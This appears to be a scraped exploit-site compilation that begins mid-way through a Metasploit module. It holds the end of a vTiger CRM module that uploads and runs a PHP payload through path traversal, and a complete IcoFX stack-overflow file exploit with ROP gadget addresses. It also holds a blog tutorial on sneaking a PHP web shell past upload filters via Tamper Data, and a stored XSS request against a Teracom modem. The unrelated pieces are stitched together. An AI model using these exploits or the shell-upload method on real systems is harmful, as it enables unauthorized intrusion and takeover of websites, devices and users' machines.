[ 'vTigerCRM v5.4.0', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 26 2013'))

register_options(
[
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/'])
], self.class)
end

def check
test_one = check_email_soap("admin", rand_text_alpha(4 + rand(4)))
res = send_soap_request(test_one)

unless res and res.code == 200 and res.body.to_s =~ /<return xsi:nil="true" xsi:type="xsd:string"\/>/
return Exploit::CheckCode::Unknown
end

test_two = check_email_soap("admin")
res = send_soap_request(test_two)

if res and res.code == 200 and (res.body.blank? or res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/)
return Exploit::CheckCode::Vulnerable
end

return Exploit::CheckCode::Safe
end

def exploit
file_name = rand_text_alpha(rand(10)+6) + '.php'
php = %Q|<?php #{payload.encoded} ?>|

soap = add_attachment_soap(file_name, php)
res = send_soap_request(soap)

print_status("#{peer} - Uploading payload...")
if res and res.code == 200 and res.body.to_s =~ /<return xsi:type="xsd:string">.*<\/return>/
print_good("#{peer} - Upload successfully uploaded")
register_files_for_cleanup(file_name)
else
fail_with(Failure::Unknown, "#{peer} - Upload failed")
end

print_status("#{peer} - Executing payload...")
send_request_cgi({'uri' => normalize_uri(target_uri.path, 'soap', file_name)}, 0)
end

def add_attachment_soap(file_name, file_data)
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:crm' => "http://www.vtiger.com/products/crm"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element(
"crm:AddEmailAttachment",
{
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
})
crm = body.elements[1]
crm.add_element("emailid", {'xsi:type' => 'xsd:string'})
crm.add_element("filedata", {'xsi:type' => 'xsd:string'})
crm.add_element("filename", {'xsi:type' => 'xsd:string'})
crm.add_element("filesize", {'xsi:type' => 'xsd:string'})
crm.add_element("filetype", {'xsi:type' => 'xsd:string'})
crm.add_element("username", {'xsi:type' => 'xsd:string'})
crm.add_element("session", {'xsi:type' => 'xsd:string'})
crm.elements['emailid'].text = rand_text_alpha(4+rand(4))
crm.elements['filedata'].text = "MSF_PAYLOAD"
crm.elements['filename'].text = "MSF_FILENAME"
crm.elements['filesize'].text = file_data.length.to_s
crm.elements['filetype'].text = "php"
crm.elements['username'].text = rand_text_alpha(4+rand(4))

xml_string = xml.to_s
xml_string.gsub!(/MSF_PAYLOAD/, Rex::Text.encode_base64(file_data))
xml_string.gsub!(/MSF_FILENAME/, "../../../../../../#{file_name}")

return xml_string
end

def check_email_soap(user_name = "", session = "")
xml = Document.new
xml.add_element(
"soapenv:Envelope",
{
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
'xmlns:crm' => "http://www.vtiger.com/products/crm"
})
xml.root.add_element("soapenv:Header")
xml.root.add_element("soapenv:Body")
body = xml.root.elements[2]
body.add_element(
"crm:CheckEmailPermission",
{
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
})
crm = body.elements[1]
crm.add_element("username", {'xsi:type' => 'xsd:string'})
crm.add_element("session", {'xsi:type' => 'xsd:string'})
crm.elements['username'].text = user_name
crm.elements['session'].text = session

xml.to_s
end

def send_soap_request(soap_data)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'soap', 'vtigerolservice.php'),
'method' => 'POST',
'ctype' => 'text/xml; charset=UTF-8',
'data' => soap_data
})

return res
end

end

IcoFX Stack Buffer Overflow

IcoFX Stack Buffer Overflow 2014-01-07 20:05:07

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'IcoFX Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in version 2.1
of IcoFX. The vulnerability exists while parsing .ICO files, where an specially
crafted ICONDIR header, providing an arbitrary long number of images into the file,
can be used to trigger the overflow when reading the ICONDIRENTRY structures.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Marcos Accossatto', # Vulnerability discovery, poc
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-4988' ],
[ 'OSVDB', '100826' ],
[ 'BID', '64221' ],
[ 'EDB', '30208'],
[ 'URL', 'http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability' ]
],
'Platform' => [ 'win' ],
'Payload' =>
{
'DisableNops' => true,
'Space' => 864,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
[ 'IcoFX 2.5 / Windows 7 SP1',
{
:callback => :target_win7,
}
],
],
'DisclosureDate' => 'Dec 10 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico'])
], self.class)

end

def target_win7
# All the gadgets com from IcoFX2.exe 2.5.0.0

# ICONDIR structure
ico = [0].pack("v") # Reserved. Must always be 0
ico << [1].pack("v") # Image type: 1 for icon (.ico) image
# 0x66 is enough to overwrite the local variables and, finally
# the seh handler. 0x7f00 is used to trigger an exception after
# the overflow, while the overwritten SEH handler is in use.
ico << [0x7f00].pack("v")
# ICONDIRENTRY structures 102 structures are using to overwrite
# every structure = 16 bytes
# 100 structures are used to reach the local variables
ico << rand_text(652)
ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods
ico << [0x0045cc21].pack("V") # jmp esp
ico << payload.encoded
ico << rand_text(
1600 - # 1600 = 16 ICONDIRENTRY struct size * 100
652 - # padding to align the stack pivot
80 - # rop nops size
4 - # jmp esp pointer size
payload.encoded.length
)
# The next ICONDIRENTRY allows to overwrite the interesting local variables
# on the stack
ico << [2].pack("V") # Counter (remaining bytes) saved on the stack
ico << rand_text(8) # Padding
ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler
# The next ICONDIRENTRY allows to overwrite the seh handler
ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret
ico << rand_text(0xc) # padding
return ico
end

def exploit
unless self.respond_to?(target[:callback])
fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined")
end

ico = self.send(target[:callback])

print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(ico)
end

end

Wednesday, January 22, 2014

How to upload your PHP shell through Tamper Data an Firefox Add-on?

SOCIALIZE IT →

Many times you get login of a website, but you are unable to upload your PHP shell !

Today i'll show you how to upload your PHP shell through Tamper Data an Firefox Add-on






Install Tamper Data firefox add-on:


Now Install it and Restart Firefox

Rename shell

Note: You have to rename you .php shell to .jpg to bypass the website's security

To upload a shell, of-course you needed a upload option in login page or anywhere !

                              ..::::DEMO::::...

Now click on Tools in Firefox Menu bar and Select Tamper Data, Tamper Data plugin will open in a new window !
Before Clicking on Upload button click on "Start Tamper" in Tamper Data window..
Note: Before Clicking on "Start Tamper" close every extra tab you have opened.. If you want this tutorial to be open... Just open it in another browser

Now click on upload button !
After clicking on upload button "Tamper with request?" window will appear !
Click on "Tamper" button

After a click on "Tamper" you will see "Tamper Popup"
In Tamper Popup Window, Copy "POST_DATA" text in Notepad


After Copying it to Notepad... "Find yourshell.jpg" and rename it to .php.


Now copy Notepad's text back to "POST_DATA" field..and click OK
It will Upload the shell as .php and you can execute it easily !
Find your .php shell & do whatever you wanted with that website
that's all !


Thank you for reading..

Teracom Modem T2-B-Gawv1.4U10Y-BI - Stored XSS Vulnerability

Teracom Modem T2-B-Gawv1.4U10Y-BI - Stored XSS Vulnerability

# Exploit Title: Teracom Modem Stored XSS Vulnerability
# Date: 19-01-2014
# Author: Rakesh S
# Software Link: http://www.teracom.in/
# Version: T2-B-Gawv1.4U10Y-BI
# Tested on: Windows 7
# Code :
GET /webconfig/wlan/country.html/country?context=&wlanprofile=MIXED_G_WIFI&wlanstatus=on&country=INI&txpower=5&wlanmultitouni=on&TxRate=Automatic&chanselect=automatic&channel=4&essid="><img src=x onerror=prompt(1);>%3E&hidessid=off&security=wpawpa2&authmethodselect=psk&wpapp=---&pmkcaching=off&confirm=Confirm HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/webconfig/wlan/country.html
Cookie: httpTimeOut=None
Authorization: Basic VGhpc2lzbm90Ok15b3JnaW5hbHBhc3N3b3Jk

Attack details
The variable Network Name (SSID): has been set to "><img src=x onerror=prompt(1);>